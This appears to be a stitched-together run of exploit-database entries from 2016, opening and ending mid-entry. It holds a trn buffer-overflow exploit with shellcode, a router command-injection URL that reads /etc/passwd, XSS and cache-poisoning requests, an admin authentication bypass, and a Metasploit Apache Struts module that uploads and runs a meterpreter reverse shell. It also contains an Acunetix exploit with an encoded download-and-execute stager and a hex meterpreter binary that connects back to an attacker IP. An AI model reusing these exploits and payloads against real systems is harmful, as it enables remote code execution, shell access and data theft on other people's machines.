- news.softpedia.com/news/ipfire-2-19-core-update-101-patches-cross-site-scripting-vulnerability-in-web-ui-503608.shtml
- www.openwall.com/lists/oss-security/2016/04/05/5
- seclists.org/oss-sec/2016/q2/15
- www.synetis.com
- www.asafety.fr
- www.youtube.com/watch?v=rBd21aXU83E
 
 
Credits :
======================================================================
 
    88888888
   88      888                                         88    88
  888       88                                         88
  788           Z88      88  88.888888     8888888   888888  88    8888888.
   888888.       88     88   888    Z88   88     88    88    88   88     88
       8888888    88    88   88      88  88       88   88    88   888
            888   88   88    88      88  88888888888   88    88     888888
  88         88    88  8.    88      88  88            88    88          888
  888       ,88     8I88     88      88   88      88   88    88  .88     .88
   ?8888888888.     888      88      88    88888888    8888  88   =88888888
       888.          88
                    88    www.synetis.com
                 8888  Consulting firm in management and information security
 
Yann CAM - Security Consultant @ Synetis | ASafety
 
 
--
SYNETIS | ASafety
CONTACT: www.synetis.com | www.asafety.fr
            
# Exploit developed using Exploit Pack v5.4
# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
# Program affected: Threaded USENET news reader
# Version: 3.6-23
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description: Threaded USENET news reader, based on rn
# trn is the most widely-used newsreader on USENET
# Kali Linux 2.0 package: pool/non-free/t/trn/trn_3.6-23_i386.deb
# MD5sum: 57782e66c4bf127af0d252db9439fbdf
# Website: https://sourceforge.net/projects/trn/
#
# gdb$ run $(python -c 'print "A"*156+"DCBA"')
# Starting program: /usr/bin/trn $(python -c 'print "A"*156+"DCBA"')
#
# Program received signal SIGSEGV, Segmentation fault.
# --------------------------------------------------------------------------[regs]
#   EAX: 0x00000000  EBX: 0x41414141  ECX: 0x00000000  EDX: 0x0809040C  o d I t S z a p c
#   ESI: 0x41414141  EDI: 0x41414141  EBP: 0x41414141  ESP: 0xBFFFED60  EIP: 0x41424344
#   CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
# Cannot access memory at address 0x41424344
# 0x41424344 in ?? ()


import os, subprocess

def run():
  try:
    print "# TRN Threaded Reader - Stack Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack"
    # NOPSLED + SHELLCODE + EIP

    buffersize = 160
    nopsled = "\x90"*132
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\xd0\xec\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["trn ",' ', buffer])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, Threaded Reader - Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit TRN 3.6-23 Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
    howtousage()
run()
            
Title:
====

NetCommWireless HSPA 3G10WVE Wireless Router – Multiple vulnerabilities

Credit:
======

Name: Bhadresh Patel
Company/affiliation: HelpAG
Website: www.helpag.com

CVE:
=====

CVE-2015-6023, CVE-2015-6024

Date:
====

03-05-2016 (dd/mm/yyyy)

Vendor:
======

NetComm Wireless is a leading developer and supplier of high performance
communication devices that connect businesses and people to the internet.

Products and services:
Wireless 3G/4G broadband devices
Custom engineered technologies
Broadband communication devices

Customers:
Telecommunications carriers
Internet Service Providers
System Integrators
Channel partners
Enterprise customers

Product:
=======

HSPA 3G10WVE is a wireless router

It integrates a wireless LAN, HSPA module and voice gateway into one
stylish unit. Insert an active HSPA SIM Card into the slot on the rear
panel & get instant access to 3G internet connection. Etisalat HSPA
3G10WVE wireless router incorporates a WLAN 802.11b/g access point, two
Ethernet 10/100Mbps ports for voice & fax. Featuring voice port which
means that one can stay connected using the internet & phone. If one
need a flexible internet connection for his business or at home; this is
the perfect solution.

Customer Product link: http://www.etisalat.ae/nrd/en/generic/3.5g_router.jsp


Abstract:
=======

Multiple vulnerabilities in the HSPA 3G10WVE wireless router enable an
anonymous unauthorized attacker to 1) bypass authentication and gain
unauthorized access of router's network troubleshooting page (ping.cgi)
and 2) exploit a command injection vulnerability on ping.cgi, which
could result in a complete system/network compromise.

Report-Timeline:
============
03-09-2015: Vendor notification
08-09-2015: Vendor Response/Feedback
02-05-2016: Vendor Fix/Patch
03-05-2016: Public Disclosure

Affected Software Version:
=============

3G10WVE-L101-S306ETS-C01_R03


Exploitation-Technique:
===================

Remote


Severity Rating (CVSS):
===================

10.0 (Critical) (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)


Details:
=======

Below listed vulnerabilities enable an anonymous unauthorized attacker
to gain access of network troubleshooting page (ping.cgi) on wireless
router and inject commands to compromise full system/network.

1) Bypass authentication and gain unauthorized access vulnerability -
CVE-2015-6023
2) Command injection vulnerability - CVE-2016-6024

Vulnerable module/page/application: ping.cgi

Vulnerable parameter: DIA_IPADDRESS

Proof Of Concept:
================

PoC URL:
http(s)://<victim_IP>/ping.cgi?DIA_IPADDRESS=4.2.2.2;cat%20/etc/passwd

PoC Video: https://www.youtube.com/watch?v=FS43MRG7RDk

Patched/Fixed Firmware and notes:
==========================

ftp://files.planetnetcomm.com/3G10WVE/3G10WVE-L101-S306ETS-C01_R05.bin

NOTE: Verified only by Vendor



Credits:
=======

Bhadresh Patel
Senior Security Analyst
HelpAG (www.helpag.com)
            
1. Introduction

# Exploit Title: Acunetix WP Security 3.0.3 XSS
# Date: May.03.2016
# Exploit Author: Johto Robbie
# Facebook: https://www.facebook.com/johto.robbie
# Vendor: VN Hacker News
# Tested On: Apache 2.4.17 / PHP 5.6.16 / Windows 10 / WordPress 4.5.1
# Category: Webapps
# Software Link:
http://localhost:8888/wordpress/wp-admin/admin.php?page=swpa_live_traffic

2. Descryption:

I have to insert scripts into the content search wordpress. The result is
that it is logging in Acunetix Secure WordPress. Taking advantage of this,
I have exploited XSS vulnerability

<span class="w-entry"><a
href="http://localhost:8888/wordpress/?s="><script>alert("Johto.Robbie"</script>"
target="_blank" title="Opens in a new tab">
http://localhost:8888/wordpress/?s=
"><script>alert("Johto.Robbie"</script></a></span>

Video Demonstration:
https://www.youtube.com/watch?v=L8t3_HGriP8&feature=youtu.be



3. Report Timeline

02-05-2016 : Discovered
02-05-2016 : Vendor notified


4. Solution

Update to version 4.5.1
            
=============================================
Web Server Cache Poisoning in CMS Made Simple
=============================================

CVE-2016-2784

Product Description
===================

CMS Made Simple is a great tool with many plugins to publish content on the Web. It aims to 
be simple to use by end users and to provide a secure and robust website.

Website: http://www.cmsmadesimple.org/

Description
===========

A remote unauthenticated attacker can insert malicious content in a CMS Made Simple 
installation by poisoning the web server cache when Smarty Cache is activated by modifying 
the Host HTTP Header in his request.

The vulnerability can be triggered only if the Host header is not part of the web server 
routing process (e.g. if several domains are served by the same web server).

This can lead to phishing attacks because of the modification of the site's links, 
defacement or Cross-Site-Scripting attacks by a lack of filtering of HTML entities in 
$_SERVER variable.

**Access Vector**: remote
**Security Risk**: medium
**Vulnerability**: CWE-20
**CVSS Base score**: 5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

----------------
Proof of Concept
----------------

Request that shows improper HTML entities filtering and will insert 
' onload='javacript:alert(Xss) in the pages :

  GET / HTTP/1.1
  Host: ' onload='javascrscript:ipt:alert(Xss)
  Accept: */*
  Accept-Encoding: gzip, deflate
  Connection: close
  
Request that changes the root domain for all links and allows to redirect to external 
websites : 

  GET / HTTP/1.1
  Host: www.malicious.com
  Accept: */*
  Accept-Encoding: gzip, deflate
  Connection: close
  
Solution
========

Use the variable $_SERVER['SERVER_NAME'] instead of the variable $_SERVER['HTTP_HOST'] 
given that the server name is correctly defined or use an application specific 
constant.

Fixes
=====

Upgrade to CMS Made Simple 2.1.3 or 1.12.2.

See http://www.cmsmadesimple.org/2016/03/Announcing-CMSMS-1-12-2-kolonia and 
http://www.cmsmadesimple.org/2016/04/Announcing-CMSMS-2-1-3-Black-Point for upgrade 
instructions.

Mitigation : disable Smarty caching in the admin panel.

Affected Versions
=================

CMS Made Simple < 2.1.3 and < 1.12.2

Vulnerability Disclosure Timeline
=================================

02-24-2016: Vendor contacted
02-24-2016: Vulnerability confirmed by the vendor
03-01-2016: CVE identifier assigned
03-28-2016 & 04-16-2016: Vendor patch release
05-03-2016: Public Disclosure

Credits
=======

 * Mickaël Walter, I-Tracing (lab -at- i-tracing -dot- com)
 
 Website: http://www.i-tracing.com/
            
# Exploit Title: Alibaba Clone B2B Script Admin Authentication Bypass
# Date: 2016-05-03
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http://alibaba-clone.com/
# Version: All Versions

Exploit :
For enter , simply enter the following code
http://server/admin/adminhome.php?tmp=1

For each page is enough to add the following code to the end of url
example see page members :
http://server/admin/members.php?tmp=1

or add a new news :
http://server/admin/hot_news_menu.php?tmp=1

or edit news :
http://server/admin/edit_hot_news.php?hotnewsid=44&tmp=1
            
Sources:
https://bits-please.blogspot.ca/2016/05/qsee-privilege-escalation-vulnerability.html
https://github.com/laginimaineb/cve-2015-6639

Qualcomm's Secure Execution Environment  (QSEE) Privilege Escalation Exploit using PRDiag* commands (CVE-2015-6639)


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39757.zip
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts Dynamic Method Invocation Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote command execution vulnerability in Apache Struts
        version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
        Execution can be performed via method: prefix when Dynamic Method Invocation
        is enabled.
      },
      'Author'         => [ 'Nixawk' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2016-3081' ],
          [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ]
        ],
      'Platform'       => %w{ linux },
      'Privileged'     => true,
      'DefaultOptions' => {
        'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp_uuid'
      },
      'Targets'        =>
        [
          ['Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ]
        ],
      'DisclosureDate' => 'Apr 27 2016',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
        OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
      ], self.class)
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def send_http_request(payload)
    uri = normalize_uri(datastore['TARGETURI'])
    res = send_request_cgi(
      'uri'     => "#{uri}#{payload}",
      'method'  => 'POST')
    if res && res.code == 404
      fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
    end
    res
  end

  def parameterize(params) # params is a hash
    URI.escape(params.collect { |k, v| "#{k}=#{v}" }.join('&'))
  end

  def generate_rce_payload(code, params_hash)
    payload = "?method:"
    payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
    payload << ","
    payload << Rex::Text.uri_encode(code)
    payload << ","
    payload << Rex::Text.uri_encode("1?#xx:#request.toString")
    payload << "&"
    payload << parameterize(params_hash)
    payload
  end

  def temp_path
    @TMPPATH ||= lambda {
      path = datastore['TMPPATH']
      return nil unless path
      unless path.end_with?('/')
        path << '/'
      end
      return path
    }.call
  end

  def upload_file(filename, content)
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    var_c = rand_text_alpha_lower(4)
    var_d = rand_text_alpha_lower(4)

    code = "##{var_a}=new sun.misc.BASE64Decoder(),"
    code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_c}[0]))),"
    code << "##{var_b}.write(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])),"
    code << "##{var_b}.close()"

    params_hash = { var_c => filename, var_d => content }
    payload = generate_rce_payload(code, params_hash)

    send_http_request(payload)
  end

  def execute_command(cmd)
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    var_c = rand_text_alpha_lower(4)
    var_d = rand_text_alpha_lower(4)
    var_e = rand_text_alpha_lower(4)
    var_f = rand_text_alpha_lower(4)

    code = "##{var_a}=@java.lang.Runtime@getRuntime().exec(#parameters.#{var_f}[0]).getInputStream(),"
    code << "##{var_b}=new java.io.InputStreamReader(##{var_a}),"
    code << "##{var_c}=new java.io.BufferedReader(##{var_b}),"
    code << "##{var_d}=new char[1024],"
    code << "##{var_c}.read(##{var_d}),"

    code << "##{var_e}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
    code << "##{var_e}.println(##{var_d}),"
    code << "##{var_e}.close()"

    cmd.tr!(' ', '+') if cmd && cmd.include?(' ')
    params_hash = { var_f => cmd }
    payload = generate_rce_payload(code, params_hash)

    send_http_request(payload)
  end

  def linux_stager
    payload_exe = rand_text_alphanumeric(4 + rand(4))
    path = temp_path || '/tmp/'
    payload_exe = "#{path}#{payload_exe}"

    b64_filename = Rex::Text.encode_base64(payload_exe)
    b64_content = Rex::Text.encode_base64(generate_payload_exe)

    print_status("Uploading exploit to #{payload_exe}")
    upload_file(b64_filename, b64_content)

    print_status("Attempting to execute the payload...")
    execute_command("chmod 700 #{payload_exe}")
    execute_command("/bin/sh -c #{payload_exe}")
  end

  def exploit
    linux_stager
  end

  def check
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)

    addend_one = rand_text_numeric(rand(3) + 1).to_i
    addend_two = rand_text_numeric(rand(3) + 1).to_i
    sum = addend_one + addend_two
    flag = Rex::Text.rand_text_alpha(5)

    code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.close()"

    params_hash = { var_b => flag }
    payload = generate_rce_payload(code, params_hash)

    begin
      resp = send_http_request(payload)
    rescue Msf::Exploit::Failed
      return Exploit::CheckCode::Unknown
    end

    if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

end
            
'''
Acunetix WVS 10 - Remote command execution (SYSTEM privilege)

- Author: Daniele Linguaglossa

Overview
=========
Acunetix WVS 10 [1] is an enterprise web vulnerability scanner developer by Acunetix Inc.

Two major flaws exists in the last version of Acunetix, these bug allow a remote attacker,
to execute command in the context of application with SYSTEM privilege.


Details
==========
A first flaw exists in the way Acunetix render some html elements inside gui, in fact it
uses jscript.dll without any concert about unsafe ActiveX object such as WScript.shell.
If acunetix trigger a vulnerability during a scan session it saves a local html with the
content of html page, so is possibile to trigger a fake vulnerability and insert a js 
which trigger the remote command execution.

The second flaw it's about the Acunetix scheduler [2], the scheduler just allow to scan
websites programmatically without any user interaction, is possible to schedule scan
via the web interface on 127.0.0.1:8183 .
like any scan Acunetix, will perform some tests on the targeted Host before real scan,
these test are executed upon some script into folder

C:\ProgramData\Acunetix WVS 10\Data\Scripts

icacls show a bad privileges in this folder, so any user (even guest) will be able to 
replace these custom checks with own ones (Remember first flaw with jscript.dll) :D

C:\ProgramData\Acunetix WVS 10\Data>icacls Scripts
Scripts Everyone:(OI)(CI)(M)
        Everyone:(I)(OI)(CI)(M)
        NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
        BUILTIN\Administrators:(I)(OI)(CI)(F)
        CREATOR OWNER:(I)(OI)(CI)(IO)(F)
        BUILTIN\Users:(I)(OI)(CI)(RX)
        BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA)  <---- UNSAFE [3]

Elaborazione completata per 1 file. Elaborazione non riuscita per 0 file

C:\ProgramData\Acunetix WVS 10\Data>

With this two flaws in mind i wrote a small exploit which is able to obtain RCE via
a meterpreter shell, anyway there are some requirement:

1) Target must have VBS script interpreter
2) Target must have the scheduler service
3) Target must be Windows

Exploit
==========

https://github.com/dzonerzy/acunetix_0day

https://www.youtube.com/watch?v=gWcRlam59Fs (video proof)

Solution
==========

Jscript should be used with limited ActiveX, and permission on C:\ProgramData\Acunetix WVS 10\Data
must be fixed!

Footnotes
_________

[1] http://www.acunetix.com/
[2] http://www.acunetix.com/support/docs/wvs/scheduling-scans/
[3] https://support.microsoft.com/it-it/kb/919240
'''

#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Acunetix  0day SYSTEM Remote Command Execution by Daniele Linguaglossa

This PoC exploit 2 vulnerability in Acunetix core , the first one is a RCE (Remote Command  Exec) and the second one is
a LPE (Local Privilege Escalation).

All credits for this exploit goes to Daniele Linguaglossa
"""

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from random import randint
from threading import Thread
from time import sleep
import binascii
import sys
import base64
import os


server = None


def gen_random_name(size):
    alphabet = "abcdefghilmnopqrstuvzABCDEFGHILMNOPQRSTUVZ0123456789"
    name = ""
    for i in range(0, size):
        name += alphabet[randint(0, len(alphabet) - 1)]
    return name + ".vbs"


def ip2b(ip):
    return "".join(binascii.hexlify(chr(int(t))) for t in ip.split("."))


def postexploitation():
    print "[*] Sleeping 1 minutes to elevate privileges...ZzZz"
    sleep(70)  # 2 minutes
    global server
    print "[!] Stopping server !"
    server.shutdown()
    print "[!] Exploit successful wait for session!"

# param URL,FILENAME
PAYLOAD_DOWNLOAD_EXEC = "dHNraWxsIHd2cw0KJGE9JycnDQogU2V0IGZzbyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmpl" \
                        "Y3QiKQ0KIFNldCB3c2hTaGVsbCA9IENyZWF0ZU9iamVjdCggIldTY3JpcHQuU2hlbGwiICkNCiBTZXQgT3V0cCA9IFdz" \
                        "Y3JpcHQuU3Rkb3V0DQogU2V0IEZpbGUgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKQ0K" \
                        "IEZpbGUuT3BlbiAiR0VUIiwgImh0dHA6Ly8lcy9zdGFnZTIiLCBGYWxzZQ0KIE15RmlsZSA9IHdzaFNoZWxsLkV4cGFu" \
                        "ZEVudmlyb25tZW50U3RyaW5ncyggIiVzIiApKyJcJXMiDQogRmlsZS5TZW5kDQogU2V0IEJTID0gQ3JlYXRlT2JqZWN0" \
                        "KCJBRE9EQi5TdHJlYW0iKQ0KIEJTLnR5cGUgPSAxDQogQlMub3Blbg0KIEJTLldyaXRlIEZpbGUuUmVzcG9uc2VCb2R5" \
                        "DQogQlMuU2F2ZVRvRmlsZSBNeUZpbGUsIDINCiB3c2hTaGVsbC5ydW4gIndzY3JpcHQgIitNeUZpbGUNCiBmc28uRGVs" \
                        "ZXRlRmlsZShXc2NyaXB0LlNjcmlwdEZ1bGxOYW1lKQ0KICcnJw0KICRwdGggPSAoZ2V0LWl0ZW0gZW52OlRFTVApLlZh" \
                        "bHVlKyJcc3RhZ2VyLnZicyI7DQogZWNobyAkYSA+ICRwdGgNCiB3c2NyaXB0ICRwdGg="

# param connect back IP
PAYLOAD_METERPETRER = "4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6" \
                      "e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c010300e4fb66ef000" \
                      "0000000000000e0000f030b01023800020000000e000000000000001000000010000000200000000040000010000000" \
                      "020000040000000100000004000000000000000040000000020000463a0000020000000000200000100000000010000" \
                      "0100000000000001000000000000000000000000030000064000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e7" \
                      "465787400000028000000001000000002000000020000000000000000000000000000200030602e64617461000000" \
                      "900a000000200000000c000000040000000000000000000000000000200030e02e6964617461000064000000003000" \
                      "000002000000100000000000000000000000000000400030c000000000000000000000000000000000b800204000ff" \
                      "e090ff253830400090900000000000000000ffffffff00000000ffffffff0000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000009090909090909090909090" \
                      "90909090909090909090909090909090909033c0680810400064ff30648920fce8820000006089e531c0648b50308b" \
                      "520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b59" \
                      "2001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581" \
                      "c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89" \
                      "001000029c454506829806b00ffd56a0568%s680200115c89e6505050504050405068ea0fdfe0ffd5976a105657689" \
                      "9a57461ffd585c0740aff4e0875ece8610000006a006a0456576802d9c85fffd583f8007e368b366a4068001000005" \
                      "66a006858a453e5ffd593536a005653576802d9c85fffd583f8007d225868004000006a0050680b2f0f30ffd557687" \
                      "56e4d61ffd55e5eff0c24e971ffffff01c329c675c7c3bbf0b5a2566a0053ffd5190f4da8a063058eceb8f7b69074c" \
                      "4e814a3cae54e8172c60ead9604f2e86b0522895f543ebf148fad021d6146ace15f4ae3dbf55185e896fcaede21b0f" \
                      "db55831cbcfb72949f584986c13ebc8dd35971d7cee480354c83bf909ab61c53b4412733e4cd8dc788890915d41c0b" \
                      "2e06b529fe28c90a777a1a2ff95dc2a6bd697544d0462c01750e7f053c3ee2e1277d13515df7d3dc5ee57419630faf" \
                      "f6c066e12a8ef76cb84891bb64b347b905ceaea1850bc52542cb5a967d538e70d8e7c5335132befb4f87450a5ecdf2" \
                      "7ec89b1ed56e6beb044a950a8022ab5d46d5ba6f37655d35296ade2911292b5179f53d148dffee01672f90f1d82c22" \
                      "b5e253c2637ed99e71e796953a070483bb13cab540c00873b6f5788a1a6e58663cf9cf2ff46b92cbcdad9215a101fb" \
                      "54c71d2112151a19faec99fe5256fced9417f9673ddbb87439860eccedf31e528837cda1251b974f2808bdfc70cafa" \
                      "e32fb6335cdda22e19e64fde514b779dc932bb8249f8d8f260fd457b719980bb069a1ed560e2c74d85182c3aacd499" \
                      "df5dab0e0a0cee9e1da02cff7b89aac3f99de68badc83c9acf3c7518cf1578a58c131e1f3f36d393a7da0979f48115" \
                      "9d687cd9e3d5bc9fe3d34b9c7aa362be497402f21045d1aa7b871e773facc169649d8f64c0ac91d2feb85063169af8" \
                      "87973643f41f9b5c38b01cb2eb327e17d1d0f7f5e8693022c729f69b83723df61b9617f533cf919740edbb92ca86f9" \
                      "f1db8cdf696531559d41193f2356414df49a8e22790a7cb174079b5273c485e252296d690796649048410e29fc8a4d" \
                      "3d3384a98beb5bca12574510183cbaa49f1eee2e7712df55312a40c18e636efe4e7066034e50060e3dcfc5354dc9d9" \
                      "4b570a97d0b47eadc715effc165f9660797fc3ed75d5940262419d75ea5670a029774fa83b5818a7d46a9764de62be" \
                      "e019444d30589d5d778499aaa0b3d10e7897d26fc5e446eb358c7067df52636d8a2ba7340f40e0c263522bb494500d" \
                      "c73585ee9208e29ac7cdf591316712f1624116dc48ebe2c9fa5743e1e4519f82b8be65db56c09e6ef563286050decd" \
                      "f9b327481b045b2073ea4e52ba5c6bb066c2f02709effd1db019cba7b8b682f16749d12ca8c89230edbbecfd59bf51" \
                      "11ea1e6c9ed24ec62bcc37bff84195329a97a41354be5f297dd0edc868edbd35c528f79b9debf6a132b0ee1c140151" \
                      "a90f0c6145149b01e6f55b7e6cc24f015a0f98627fee12834bcf368458827c4c824b1968aa4df58188c5909a95df1f" \
                      "288c88326ee731d240159bba27397cc8b0fe4995ac6445a9033279af56f156d22416b8915f5b64a1acca60e4c1c6b8" \
                      "f33af7431ed674bd62b6b26613cad5f9c9d395c95ee9acc56aacd0f4ea4e198fb6e061d012c91ffa99ecdc1510099f" \
                      "8a4d4fc45273e6687be92c729b719692bb5e197083c4f4b77a1df988cd81141686743fe0e1ace050dec96c0fd8d75e" \
                      "7182ea3cfc0f13c5cf804a8264c67166495837b6da837bb7e382527f63db2f94c75af6c855162aeb3b8a2c362819b9" \
                      "b1d586db76faa0c06346149d2c88379cf186e36056669d4e7cc433cb8205dd0d058c2f6ae74111eeaa6a5883b14e74" \
                      "482d130a665e53b6e89020d600be481779ee7b97631b897608d6933c65fcfc4f630dabe2d0dbad0af7c614d81b679d" \
                      "619ce6a7eefbf94664a40e4772f540dc1964a979f4c25e125844c2a7075f6a6f5fae46dada35d3e83f82d03f87b11e" \
                      "cfb4bf6636d727cf99dae040b8dd3c7abcdb98eabb7e71b56348ce6a3c635299efebc81690288bbab0f6cad2ebfd2a" \
                      "a3d7aa74724b97be8ff3f360017970203ed71039a06799828f0455620fe432ef1dbb79cb87478c6d67e177fa72cbc0" \
                      "c1422a65197e33ee6a4b314992beb18cbaa3bcd00f43cc2749ed61c8d8cb38f512bee5bdb4d4574c0c56b91da064bd" \
                      "5c358dab92d2431b3c90938b4d0ec9661c2e9c98942585466ff7f0a7a5b5b56d825673b46966750cedce33eb0de118" \
                      "c5c4211b1bfc6d297d5d48205ac40a8f47b78988807fa9d312465c1c080b158c01267965e443de442716d3fe8ac029" \
                      "7640ef6d5632eaa784cf2b2b7a884d0589c93d69f8f8d7c6dc2b75a0825c0c5e892268cf3af3843004dc68dd05d367" \
                      "6ac0b218d9adc3ecca734fe7fa61de3272584ed349fffa669175cd8a873b72b7dce3cb4a8e8afa8ddbba2039219220" \
                      "6e9dc808a2ac3f2b6909e71321437b8979f26b9a8bda1fde661229544cb34ebc3ce7a4e0c05d340ba65457c67c3d61" \
                      "5d249af5d333ab3894045480fa8bb3b6c75a41ed9dd00ec8367c68cd41b2b03caa30fc527a00d94b3c25620813ac9d" \
                      "522e6e86cfee45a4f711171ec17f167abc0c4abb6c80de587bb790a1f83b9428d8380832a8216a6b8ea47cac624a24" \
                      "ca171c95ebb6d81bd7676eff464d56436d32b66bb3d190e44e66beb412bd7d5d8978d7e0e93bb0e9f08944a6c45b4a" \
                      "b5e493e0dd1491352d8078b0a3bae30bc2c145bc4e5f9dfd9b457d5dd8ff9c635031b02e7f3b8927b09460b983883a" \
                      "dbb42bdff6f8c017b5096ce7d5a72ab620504be21555aa86871ee9e4887657b8e72d8813b429428596839d00c3e44f" \
                      "fe5297ce95fc340278d1d805370c54f64615db34797f523f0a4cd2523d10d1a1b62146051db23668bc482d802b66bf" \
                      "962f511ec6af7204cbb8d474204bf5c9e52ce0cfbd6298cf96f619a5d64827ba3284b25135965a9062f3cd7eb93745" \
                      "390e9cc983c9a54ec731699bbda53958382cbb2e2ecd3247b18e5c3d64755c0d1e112e8375b5795afdfee8b69879c8" \
                      "6597f79b6df2624dbe59557e8d13918c2d28c91c3a4f49a8682b62648259d118ffa02b2218efa031b45fd54c0b8d14" \
                      "23d494b0a5da8e97ec345e17f9db32e9bec5cbcc36357b4ba8e7b8ccddc192d360d99a1e805dedc0ecadca15a0334f" \
                      "680b0a9e91e12698ba69d27d86b2394c3d91682194ba312e8aef801a9ebc8722af9e8bd1180c0eed3137bfe109b06c" \
                      "a442777eae4e1a145302152777da0a0a1decef0e0c73f2709cdb61360961eb1fc47cec9a893b9a8b2ec9f5a7fcce3e" \
                      "178b459a54d9c5e40c6aada77896a7ee9054324019fe61e954c60dfd7bc895011c951e09fc195e779b71fc33833cdb" \
                      "a5fe76ceb9a7b6ba5a39ed2e80c5d91b15cef0e1f5cb956b90e6db947fa45a4ae0e668b72a056dd29ea81c8b3aa126" \
                      "b35d40c6dfa042cbd19c42b7ef44e6ef7b35952dbc796097530a04a71a3c116e99bf4a4ae8199685cc7e1e9f03a1ce" \
                      "a8eb6d579e1e2ae0800000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "00000002c3000000000000000000000543000003830000000000000000000000000000000000000000000000000000" \
                      "040300000000000000000000040300000000000009c004578697450726f63657373000000003000004b45524e454c3" \
